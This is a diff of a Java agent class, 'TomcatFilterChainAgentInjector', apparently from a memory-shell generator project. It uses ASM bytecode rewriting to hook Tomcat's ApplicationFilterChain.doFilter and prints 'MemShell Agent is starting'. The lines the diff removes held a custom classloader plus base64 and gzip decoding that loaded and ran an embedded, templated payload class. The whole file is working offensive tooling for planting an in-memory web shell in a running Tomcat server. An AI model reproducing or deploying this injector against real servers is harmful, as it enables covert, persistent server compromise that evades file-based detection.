22
33import org .objectweb .asm .*;
44
5- import java .io .ByteArrayInputStream ;
6- import java .io .ByteArrayOutputStream ;
75import java .lang .instrument .ClassFileTransformer ;
86import java .lang .instrument .Instrumentation ;
9- import java .net .URL ;
10- import java .net .URLClassLoader ;
117import java .security .ProtectionDomain ;
12- import java .util .zip .GZIPInputStream ;
138
149/**
1510 * @author ReaJason
1813public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
1914 private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain" ;
2015 private static final String TARGET_METHOD_NAME = "doFilter" ;
21- private static Class <?> payload ;
22- private static ClassLoader targetClassLoader ;
23- private static String thisClassName = TomcatFilterChainAgentInjector .class .getName ();
2416
2517 public static String getClassName () {
2618 return "{{advisorName}}" ;
2719 }
2820
29- public static String getBase64String () {
30- return "{{base64String}}" ;
31- }
32-
3321 public static void premain (String args , Instrumentation inst ) throws Exception {
3422 launch (inst );
3523 }
@@ -38,19 +26,6 @@ public static void agentmain(String args, Instrumentation inst) throws Exception
3826 launch (inst );
3927 }
4028
41- @ Override
42- public boolean equals (Object obj ) {
43- if (payload == null ) {
44- payload = new AgentShellClassLoader (targetClassLoader ).defineDynamicClass (gzipDecompress (decodeBase64 (getBase64String ())));
45- }
46- try {
47- return payload .newInstance ().equals (obj );
48- } catch (Throwable e ) {
49- e .printStackTrace ();
50- return false ;
51- }
52- }
53-
5429 private static void launch (Instrumentation inst ) throws Exception {
5530 System .out .println ("MemShell Agent is starting" );
5631 inst .addTransformer (new TomcatFilterChainAgentInjector (), true );
@@ -68,7 +43,6 @@ private static void launch(Instrumentation inst) throws Exception {
6843 public byte [] transform (final ClassLoader loader , String className , Class <?> classBeingRedefined ,
6944 ProtectionDomain protectionDomain , byte [] bytes ) {
7045 if (TARGET_CLASS .equals (className )) {
71- targetClassLoader = loader ;
7246 try {
7347 ClassReader cr = new ClassReader (bytes );
7448 ClassWriter cw = new ClassWriter (cr , ClassWriter .COMPUTE_MAXS | ClassWriter .COMPUTE_FRAMES ) {
@@ -80,7 +54,7 @@ protected ClassLoader getClassLoader() {
8054 ClassVisitor cv = getClassVisitor (cw );
8155 cr .accept (cv , ClassReader .EXPAND_FRAMES );
8256 return cw .toByteArray ();
83- } catch (Exception e ) {
57+ } catch (Throwable e ) {
8458 e .printStackTrace ();
8559 }
8660 }
@@ -97,8 +71,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
9771 if (TARGET_METHOD_NAME .equals (name )) {
9872 try {
9973 Type [] argumentTypes = Type .getArgumentTypes (descriptor );
100- return new AgentShellMethodVisitor (mv , argumentTypes , thisClassName );
101- } catch (Exception e ) {
74+ return new AgentShellMethodVisitor (mv , argumentTypes , getClassName () );
75+ } catch (Throwable e ) {
10276 e .printStackTrace ();
10377 }
10478 }
@@ -193,125 +167,4 @@ private int getArgIndex(final int arg) {
193167 return index ;
194168 }
195169 }
196-
197- public static class AgentShellClassLoader extends URLClassLoader {
198- private final ClassLoader targetClassLoader ;
199-
200- public AgentShellClassLoader (ClassLoader targetClassLoader ) {
201- super (new URL [0 ], ClassLoader .getSystemClassLoader ());
202- this .targetClassLoader = targetClassLoader ;
203- }
204-
205- @ SuppressWarnings ("all" )
206- private Object getClassLoadingLock0 (String className ) {
207- try {
208- return getClassLoadingLock (className );
209- } catch (Throwable t ) {
210- return this ;
211- }
212- }
213-
214- public Class <?> defineDynamicClass (byte [] bytes ) {
215- return defineClass (bytes , 0 , bytes .length );
216- }
217-
218- @ Override
219- protected Class <?> loadClass (String name , boolean resolve ) throws ClassNotFoundException {
220- Class <?> clazz = null ;
221- if (name == null || name .startsWith ("java." )) {
222- clazz = getParent ().loadClass (name );
223- } else {
224- try {
225- clazz = findLoadedClass (name );
226- if (clazz == null ) {
227- synchronized (getClassLoadingLock0 (name )) {
228- clazz = findLoadedClass (name );
229- if (clazz == null ) {
230- clazz = findClass (name );
231- }
232- }
233- }
234- } catch (Throwable ignored ) {
235- }
236- try {
237- if (clazz == null ) {
238- clazz = getParent ().loadClass (name );
239- }
240- } catch (ClassNotFoundException e ) {
241- try {
242- clazz = tryToLoadByContextClassLoader (name , resolve );
243- } catch (Throwable ignored ) {
244- throw e ;
245- }
246- }
247- }
248-
249- if (resolve ) {
250- resolveClass (clazz );
251- }
252- return clazz ;
253- }
254-
255- public Class <?> tryToLoadByContextClassLoader (String name , boolean resolve ) throws ClassNotFoundException {
256- if (targetClassLoader != null ) {
257- Class <?> clazz = targetClassLoader .loadClass (name );
258- if (resolve ) {
259- resolveClass (clazz );
260- }
261- return clazz ;
262- }
263- ClassLoader contextClassLoader = Thread .currentThread ().getContextClassLoader ();
264- if (contextClassLoader != null ) {
265- Class <?> clazz = contextClassLoader .loadClass (name );
266- if (resolve ) {
267- resolveClass (clazz );
268- }
269- return clazz ;
270- } else {
271- return null ;
272- }
273- }
274- }
275-
276- @ SuppressWarnings ("all" )
277- public static byte [] decodeBase64 (String base64Str ) {
278- Class <?> decoderClass ;
279- try {
280- decoderClass = Class .forName ("java.util.Base64" );
281- Object decoder = decoderClass .getMethod ("getDecoder" ).invoke (null );
282- return (byte []) decoder .getClass ().getMethod ("decode" , String .class ).invoke (decoder , base64Str );
283- } catch (Exception ignored ) {
284- try {
285- decoderClass = Class .forName ("sun.misc.BASE64Decoder" );
286- return (byte []) decoderClass .getMethod ("decodeBuffer" , String .class ).invoke (decoderClass .newInstance (), base64Str );
287- } catch (Exception e ) {
288- throw new RuntimeException (e );
289- }
290- }
291- }
292-
293- @ SuppressWarnings ("all" )
294- public static byte [] gzipDecompress (byte [] compressedData ) {
295- ByteArrayOutputStream out = new ByteArrayOutputStream ();
296- GZIPInputStream gzipInputStream = null ;
297- try {
298- gzipInputStream = new GZIPInputStream (new ByteArrayInputStream (compressedData ));
299- byte [] buffer = new byte [4096 ];
300- int n ;
301- while ((n = gzipInputStream .read (buffer )) > 0 ) {
302- out .write (buffer , 0 , n );
303- }
304- return out .toByteArray ();
305- } catch (Exception e ) {
306- throw new RuntimeException (e );
307- } finally {
308- try {
309- if (gzipInputStream != null ) {
310- gzipInputStream .close ();
311- }
312- out .close ();
313- } catch (Exception ignored ) {
314- }
315- }
316- }
317170}
0 commit comments